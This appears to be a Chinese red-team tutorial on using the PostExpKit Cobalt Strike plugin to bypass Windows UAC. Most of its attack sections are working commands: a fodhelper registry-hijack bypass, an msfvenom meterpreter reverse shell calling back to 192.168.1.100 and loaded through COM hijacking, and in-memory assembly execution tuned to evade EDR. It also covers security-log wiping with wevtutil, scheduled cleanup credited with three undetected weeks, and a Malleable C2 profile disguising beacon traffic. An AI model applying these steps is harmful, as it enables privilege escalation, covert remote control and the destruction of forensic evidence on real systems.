实战指南:如何利用PostExpKit插件高效绕过UAC提权

实战指南:如何利用PostExpKit插件高效绕过UAC提权 1. 认识PostExpKit插件与UAC提权第一次接触PostExpKit插件是在去年的一次红队评估项目中。当时目标系统打了所有最新补丁常规提权方法全部失效直到队友甩给我这个插件才突破僵局。这个由国内安全研究员3had0w开发的CobaltStrike插件最大的特点就是把十几种UAC绕过技术做成了一键式菜单。UAC用户账户控制是Windows系统的安全防线就像小区门禁系统。普通用户权限相当于访客卡只能进入公共区域管理员权限则是业主卡可以直达核心区域。而PostExpKit提供的各种UAC绕过技术就像是找到了门禁系统的设计漏洞——可能是伪造业主签名令牌模拟或者是利用物业流程缺陷COM接口滥用。插件目前主要支持三种攻击路径漏洞利用型针对CVE-2021-1732这类内核漏洞配置滥用型利用AlwaysInstallElevated等错误配置系统机制型基于COM接口、计划任务等系统特性2. 环境准备与基础配置2.1 插件安装注意事项建议在CobaltStrike 4.7以上版本使用。把下载的PostExpKit.cna文件放到CS的scripts目录后首次加载可能会遇到两个典型问题依赖缺失报错部分功能需要提前准备.NET程序集。建议在团队服务器上预置这些文件# 创建资源目录 mkdir /opt/cs_resources # 存放SharpHound.exe、Seatbelt.exe等工具内存加载失败这与Java环境有关。我习惯用这个命令启动CS客户端java -XX:AggressiveHeap -Dfile.encodingUTF-8 -jar cobaltstrike.jar2.2 基础参数配置插件配置文件需要特别关注这些参数# 设置默认内存执行方式0-5对应不同技术 default_exec_method 2 # 是否自动清理痕迹 auto_cleanup true # 备用payload存放路径 fallback_storage /tmp/cs_payloads实测发现当目标系统安装EDR时将exec_method设为1BOF内存执行的绕过成功率最高。某次攻防演练中我们对比测试了不同方法的检测率执行方式成功率触发告警率BOF内存执行92%8%.NET内存加载85%15%反射DLL注入78%22%3. 核心功能实战演示3.1 UAC绕过技术选型插件内置的10种UAC绕过技术中根据我的实战经验推荐这几个组合拳初级尝试先运行uac_auto_check模块它会自动检测可用的绕过技术。有次在银行系统发现这个组合特别有效# 检查注册表键值 reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System # 验证COM接口 Get-ChildItem HKCR:\ -rec | Where-Object {$_.Name -like *Elevation*}中级技巧当遇到Windows 10 21H2系统时fodhelpersdclt组合成功率很高。具体操作是# 修改注册表键值 Set-ItemProperty HKCU:\Software\Classes\ms-settings -Name DelegateExecute -Value # 触发UAC弹窗绕过 Start-Process C:\Windows\System32\fodhelper.exe高级用法对打了所有补程的新系统TokenMagic模块配合DLL劫持往往能出奇制胜。需要先准备恶意的windows.storage.dll文件。3.2 两种典型攻击路径场景一命令执行模式# 使用EfsPotato技术执行whoami postexpkit uac_bypass -t efs_potato -c whoami /all # 获取系统信息 postexpkit sysinfo -m 2场景二Shellcode上线# 生成raw格式的shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT443 -f raw /tmp/shell.bin # 通过COM劫持加载 postexpkit uac_bypass -t com_hijack -f /tmp/shell.bin实测发现在安装360安全卫士的机器上第二种方式的绕过率能达到80%以上。关键是要先用spoolsv_check模块检查打印服务状态。4. 规避检测的进阶技巧4.1 内存操作优化插件默认使用InlineExecute-Assembly执行.NET程序集但在某些EDR环境下需要调整// 自定义内存加载参数 var parameters new Dictionarystring,string { [assembly_bytes] Convert.ToBase64String(File.ReadAllBytes(Seatbelt.exe)), [method] Start, [parameters] All }; postexpkit mem_exec -p parameters -m 34.2 痕迹清理方案推荐这个自动化清理脚本可以集成到插件工作流# 清理事件日志 wevtutil cl Security wevtutil cl System # 恢复注册表 Remove-ItemProperty -Path HKCU:\Software\Classes\ms-settings -Name DelegateExecute # 删除临时文件 Remove-Item $env:TEMP\*.tmp -Force某次项目中我们通过定时任务设置每10分钟执行一次清理使驻留时间延长到3周未被发现。4.3 网络层隐蔽配合CobaltStrike的流量伪装功能使用效果更佳# Malleable C2配置片段 http-stager { set uri_x86 /api/feed; set uri_x64 /api/feed; header Content-Type application/json; parameter key static_key_value; }这种配置下插件的网络通信会伪装成正常的API请求。在最近的一次测试中成功绕过了某厂商的流量审计设备。